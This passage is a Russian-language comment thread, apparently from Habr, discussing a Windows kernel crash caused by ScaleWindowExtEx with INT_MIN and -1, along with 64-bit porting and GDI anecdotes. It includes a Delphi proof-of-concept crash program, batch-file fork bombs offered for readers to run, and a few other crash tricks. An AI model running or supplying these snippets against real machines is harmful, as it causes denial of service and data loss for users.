                  Другая проблема, обсуждаемая в той статье, — наличие скриптов, в частности, bat-ников, с жёсткими путями. Их перекомпилировать не нужно.
                  • 0
                    С потенциальной проблемой со скриптами согласен, а вот с модулями, требующими перекомпиляции я существенной проблемы все-еще не вижу, ибо как показывает практика такой низкокачественный код после простой перекомпиляции работать не будет и все равно потребуется его выправление.

                    А так как 32битную инфраструктуру никто не убирал, то старые приложения продолжали работать без ошибок и те, кто не мог адаптировать их под 64 бита могли продолжать выпускать 32битные версии.
                    • +1
                      32-битную архитектуру убрать пытались, правда, не MS, а Intel: первыми 64-битными процессорами, поддерживаемыми релизом Windows, были Itanium, где WOW64-подсистема содержала программную эмуляцию x86 с соответствующей скоростью работы. Если бы Itanium взлетел, то отсутствие 64-битной версии какой-нибудь важной программы было бы близким к стопперу перехода, что MS невыгодно.
                      Простой перекомпиляции в случае сколько-нибудь нетривиального кода, конечно, недостаточно для переноса на новую архитектуру. Но 1) каждый новый момент, который нужно учитывать, уменьшает число желающих хоть что-то делать и 2) если имя уже было захардкожено, то получатся два варианта кода — под #ifdef _WIN64 и #elif — что усложнит дальнейшую поддержку, а в MS всё же стараются упрощать жизнь программистам, а не усложнять.

                      Ещё про переход 32 -> 64, хоть и не про файловую систему, но философию проясняет: blogs.msdn.com/b/oldnewthing/archive/2012/10/29/10363484.aspx. Несколько цитат, курсив из оригинала:
                      When updating the interfaces for 64-bit Windows, there were a few guiding principles. Here are two of them.
                      * Don't change an interface unless you really need to.
                      * Do you really need to?

                      The only consequence (so far) is that the number of «things in code being ported from 32-bit Windows to 64-bit Windows needs to watch out for» has been incremented by one. Of course, too much of this incrementing, and the list of things becomes so long that developers are going to throw up their hands and say «Porting is too much work, screw it.»

                      These are the worst types of breaking changes: The ones where the compiler doesn't tell you that something is wrong. Your code compiles, it even basically runs, but it doesn't run correctly.

                      Remember, you want to make it easier for people to port their program to 64-bit Windows, not harder. The goal is make customers happy, not create the world's most architecturally pure operating system. And customers aren't happy when the operating system can't run their programs (because every time the vendor try to port it, they keep stumbling over random subtle behavior changes that break their program).
  • 0
    Кстати, а в Редмонд письмицо отправили?
    p.s: мая путей для этого что то не нашёл, попрятано видимо.
  • +5
    По поводу статьи замечания:
    1) зачем добавлять gdi32.lib??? Можно загрузить все функции через LoadLibrary/GetProcAddress
    2) почему в коде нету опции?
    #pragma optimize("",off)
    #pragma comment(compiler,"/MT");
    

    выключить оптимизацию и включить статическую компоновку
    3) где исходники на GitHub?
    4) как и любой PoC рекомендуется добавить MessageBoxA перед запуском (по этическим причинам)
    • +17
      Вы еще забыли вопрос про лицензию, под которой распространяется код :-)
      • 0
        Если лицензия не указана то для PoC считается Public Domain c указанием авторства.
  • +2
    Прочитал, и думаю прав товарищ Таненбаум, все становится большим и сложным и придется сначала спрыгнуть с windows, потом с linux, а потом на то, что будет после minix.
  • –2
    У меня в BSOD Windows 8 вываливается при попытке выйти со спящего режима при убитом аккумуляторе, вернулся на семерку, хотя думаю что это не совсем верная реакция на такую ситуацию со стороны операционки
    • +1
      А у меня нет.
  • +5
    В ядре Windows принято не использовать переменные с плавающей точкой

    Вроде бы в документации к ядру Линукс английским по белому написано то же самое: «Ду нат юз флоатс ин кернел коуд… ат олл.»
    • +8
      // Off topic

      Если кому-то, как и мне, стало интересно, почему HomoLuden написал «нат», а не «нот»: IPA для not в британском английском — [nɒt], а в американском английском — [nɑt].
      • +1
        А «ат олл» правильно? Не «эт олл»?
        • 0
          Смотря в каком диалекте. Фок и фук вместо фак тоже говорят и считают что правы.
      • +1
        флоутс, кёнл, эт
    • +1
      А кстати, в чем резон?
      • +5
        На 80386 без 80387 не запустится :)
        • 0
          Уже ведь выкинули поддержку 386, теперь 486 минимум требуется.
      • 0
        Сохранять регистры FPU долго
      • +6
        На x86 при переключении контекста регистры FPU автоматом не сохраняются.
        Ну а в WinAPI в параметрах функций не используется плавающая точка, потому что изначально Windows могла работать на процессорах, не поддерживающих плавающую точку. До 486 поддержка операций с плавающей точкой осуществлялась сопроцессором, который мог стоять в системе, а мог и не стоять.
        Наконец, это тупо быстрее.
  • +1
    Windows 8 Professional x64 не падает, пробовал варанты:
    ScaleWindowExtEx (dc, -2147483647 — 1, -1, 1, 1, NULL);
    ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);

    Компилил через VS2012 Pro

    В опциях ставил без оптимизаций.
    • –1
      Компилили в 32бита? или в 64?
      • 0
        x64
  • –27
    Лишний раз подтверждает неестественность двоичной логики
  • –3
    Зачем что-то компилировать, чтобы уронить комп?
    Достаточно одного .bat файла. Желающие проверить — милости просим, создайте батник с таким содержанием:
    :s
    start %0
    goto :s
    • –4
      А чтобы уже наверняка, то можно еще поизвращаться:
      s:
      start notepad
      start iexplore
      start firefox
      rem start тут уже что душа захочет
      start /min /b %0
      start %0
      start /separate /b %0
      goto :s

    • 0
      Ctrl+alt+del, выход из сеанса — и нет проблем. Тоже неприятно, но не настолько.
    • +2
      Давно не проверял, но вроде бы у современных виндовых шеллов есть ограничение на количество собственных инстансов.
      Вроде бы такой бомбы было не достаточно для отправления в синьку вин2к.

      Чего не скажешь о джаваскриптовой бомбе, которая выводила тонны алертов.
      • 0
        Так синего экрана и не будет. Будет просто висящий UI, и жутко тормозящий taskmgr.exe. Еще на более новых компьютерах может повиснуть Aero.

        Но завершение сеанса решает как эту проблему, так и проблему с джаваскриптом (а если последний — браузерный, а не WSH, то достаточно убить процесс браузера из соседнего сеанса).
        • 0
          То ли win2k, то ли какая-то из соседних версий гарантированно уходила в синий экран от переизбытка alert'ов. Почему — уже не помню, увы.
  • –13
    Вот что не приятно в таких постах это безапелляционное «уязвимость в системе до сих пор не исправлена и неизвестно, когда они ее исправят и сделают ли они это вообще» несмотря на то что уже даже в комментариях отписались что Windows7 и Windows 8 в BSOD от этого кода не падает. Автору — за поиск дешевой популярности.
    • 0
      писали про x64 версии, а автор, наверное, про x86
      • 0
        В самом низу статьи автор написал «Система падает на Windows Vista, 7 и 8. Баг наблюдался как на 32-разрядной системе, так и на 64-разрядной».
        • +2
          Просто код без limits.h написан для 32-разрядной версии. Для 64-разрядной существует аналогичный.
  • +4
    Windows 7 Максимальная x64 — падает
    Собирал на Delphi XE2
    program BSOD;

    uses
    windows;

    var
    dc: HDC;

    const
    LAYOUT_RTL = $00000001;

    function SetLayout(HDC: HDC; dwLayout: DWORD): DWORD; stdcall; external 'gdi32' name 'SetLayout';

    begin
    dc := CreateCompatibleDC(0);
    SetLayout(dc, LAYOUT_RTL);
    ScaleWindowExtEx(dc, -2147483647 — 1, -1, 1, 1, nil);
    end.
  • –5
    Как уронить Windows одной строчкой кода?

    KeBugCheckEx(0xBAADC0DE, 0,0,0,0);

    или лучше

    xor rax, rax
    mov [rax], rax
    • +4
      KeBugCheckEx — это режим ядра вроде, нет? Оттуда несчитово.

      xor rax, rax mov [rax], rax
      А тут просто процесс должен завершиться и все, нет?
      • 0
        в следующий раз буду вешать плашку «шутка»

        П.С. Да, покрэшится и все.
  • +4
    А через rundll нельзя вызвать? Чтобы вообще батничком :)
  • +44
    Помню, я в 2000 году дорабатывал для немцев программу расчёта оптики пучка электронов в ускорителе и линиях транспортировки. Программа изначально работала на нескольких унихах, имела примитивный GUI на Tcl/Tk, а также имела недостатки в области физики (не хватало продольных характеристик пучка). Надо было сделать, чтобы программа работала не только под унихами, но и под Windows, а также улучшить расчётную часть, после чего съездить в Майнц и подключить программу к местному крупному ускорителю электронов — MAMI. Всё это было сделано, но не без заковырок. Во-первых, у программы получилась довольно интересная архитектура — Qt для Windows тогда был для научных целей слишком дорогим, другие тогдашние кроссплатформенные тулкиты меня чем-то не устроили, и в результате в программе был C-шный GUI API layer (изначально программа была на C), опиравшийся на голый Win32 под виндой и на Qt под Unix'ами — наверное, можно было бы сделать попроще, и сейчас за такое решение я бы себя, быть может, убил, но это было давно. Во-вторых, подключение к системе управления ускорителя было не очень гладким.

    Так вот, по поводу Win32. Под NT 4.0 / Windows 2000 приложение вело себя идеально, а вот под Windows 98 вылезала какая-то странная хрень. Сначала появлялось окошко с непонятной мне надписью по-немецки (на компах была немецкая локаль). Затем начинался полтергейст — слетали все шрифты, рушились иконки, при запуске блокнота курсор в нём был на весь экран. Далее приходилось перезапускаться. Я обратился к тамошнему товарищу, под руководством которого я работал, чтобы он мне перевёл надпись в окошке. Товарищ очень прифигел и сказал мне, что там написано — «Операция правильна». Я был в полной растерянности… Ошибка явно проявляла себя не сразу, и в отладчике её искать было очень затруднительно. В общем, нашёл я её уже вернувшись в Москву, пару месяцев спустя, после долгих посиделок с SoftICE — я ошибся в вызове SetDIBits(), вследствие чего Windows 9x рушил память ядра. В общем, понравилось.

    Другим казусом при работе с этой программой было, собственно, подключение к системе управления. Мне дали документацию по протоколу и объяснили, какие магниты на линии пучка сейчас не задействованы — с ними можно играться, только не надо включать большие дипольные магниты, т.к. народ (в т.ч. ядрёнщики из других стран) постоянно работает с пучком и они могут вызвать отклонения даже на заметном расстоянии. Ну, я поигрался чуть-чуть, потом смотрю, что-то паника в пультовой напротив, народ забегал. Во время работы с ускорителем вылетела подсистема управления питанием магнитов. Я ошибся в заголовке пакета и демон словил переполнение стека. Сломаться ничего не успело, демона перезапустили, меня бить не стали и даже сказали спасибо за найденный баг.

    Безотносительно этой программы — году в 2004-2005 я как-то решил поиграться с рандомизацией WMF под XP, уж больно подозрительной казалась передача оного прямо в ядро. Двигала мной иррациональная ненависть к винде, с которой я тогда был вынужден работать по долгу службы. Ну, сделал прогу, которая замусоривает WMF файл случайными байтами в случайных местах, открывает его, кажись, в IE (чтобы сразу проверить потенциал remote exploit'а), и далее в цикле. Программа поработала пару минут, после чего вылез синий экран. Винда более не загрузилось — на загрузке я получил «The registry cannot load the hive». Самое обидное, что прога не sync'ала файловую систему, и виноватый WMF не сохранился. После восстановления винды повторные запуски рандомайзера подобного эффекта уже не дали, не повезло, и я на это дело забил — а зря, вскоре security researcher'ы нашли большую пачку уязвимостей в WMF/EMF.
    • +2
      Очень интересный опыт. Только вот страшновато стало от учёных: вдруг, таки придётся от хэдкрабов обороняться. :)
    • –7
      Сочные байки, их бы записать куда-нить в сборник, на ithappens, штоле.
    • НЛО прилетело и опубликовало эту надпись здесь
  • +2
    Меня посетила страшная мысль — вы ведь для масштабирования используете значения которые имеют мягкоговоря эзотерический смысл, вдруг так можно и Xwindow/GTK и прочее ронять?
  • НЛО прилетело и опубликовало эту надпись здесь
    • 0
      Писал я как-то давно дипломный проект — эмулятор КР580ВМ80А вполть до уровня схемотехники (можно было выбирать, к какой дорожке подключить тот или иной вывод микросхемы памяти, к примеру). Естественно, что требовалась целая куча своих визуальных компонентов, и я их писал и отлаживал. Только один запуск из пяти завершался нормальным закрытием программы. И начал я замечать, что после нескольких аварийных завершений программы битмапы перестают нормально создаваться — и в этой программе, и в других. Сначала прекращали создаваться большие битмапы, потом создание всё меньших и меньших тоже начинало возвращать ошибку, и это при том, что свободной памяти было достаточно. И так до перезагрузки. ОС — Win2000. Именно эти перезагрузки и ошибки в рандомных местах (в любой момент могла произойти ошибка создания любого компонента, создающего битмапы) задолбали меня до того, что я не дописал 5 версию эмулятора (с эмуляцией схемотехники) и защитил диплом с 3-й версией (эмуляция только процессора). Так что подтверждаю, что в ранних версиях Win gdi32 — почти что муравейник.
      • +2
        У вас текли объекты gdi, симптомы 100% совпадают. Это довольно просто исправляется.
  • 0
    Под ReactOS никто не пробовал?
    • –1
      Там другая архитектура ядерных компонентов.
      • 0
        Но поделить-то INT_MIN на -1 можно было для совместимости?
    • +2
      Думаю, можно вызвать ошибку и уронить систему. Функция ScaleWindowExtEx() вызывает NtGdiScaleWindowExtEx(), в коде которой есть только проверка на деление на ноль:

      if (Xdenom && Ydenom)
      {
          X = Xnum * pdcattr->szlWindowExt.cx / Xdenom;
          if (X)
          {
              Y = Ynum * pdcattr->szlWindowExt.cy / Ydenom;
              if (Y)
              {
                  // ...
      
  • –1
    Во времена третьего пентиума достаточно было любой команды начинающейся с FFFF в старших двух байтах.
    Хотя может чего-то путаю, давно было.
  • +3
    Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:

    Насколько я понимаю, правильнее говорить «вызывает исключительную ситуацию».
    Гугл во всяком случае ничего полезного по программированию по запросу «исключительная инструкция» не находит.
  • 0
    помнится xp можно прибить банальным кодом FindWindow передавая в качестве заголовка окна "" и затем его закрывая, после выполнения му получаем пустой рабочий стол. Перезагрузка спасает
    • 0
      Ой, ну почему же сразу «прибить»? Это всего лишь закрытие проводника. Я так иногда делал, чтобы освободить ресурсы на ну очень старом компьютере. Только я проводник прибивал из списка процессов.

      Вернуться обратно очень просто: Ctrl+Stift+Esc, Файл -> Новая задача, explorer, Энтер.
      • –1
        прежде чем говорить Вы бы попробовали! И минусовать просто так, как-то подло
        • 0
          Чтобы это попробовать, надо иметь при себе компилятор плюсов и XP.

          PS Посмотрел в завалявшемся Spy++, и правда: "" — это не проводник, а объект desktop. Но в необходимость перезагрузки все равно не верю — слишком много различных комбинаций клавиш на клавиатуре, не может быть чтобы поломались все и в любом случае.

          PPS минусовал не я.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.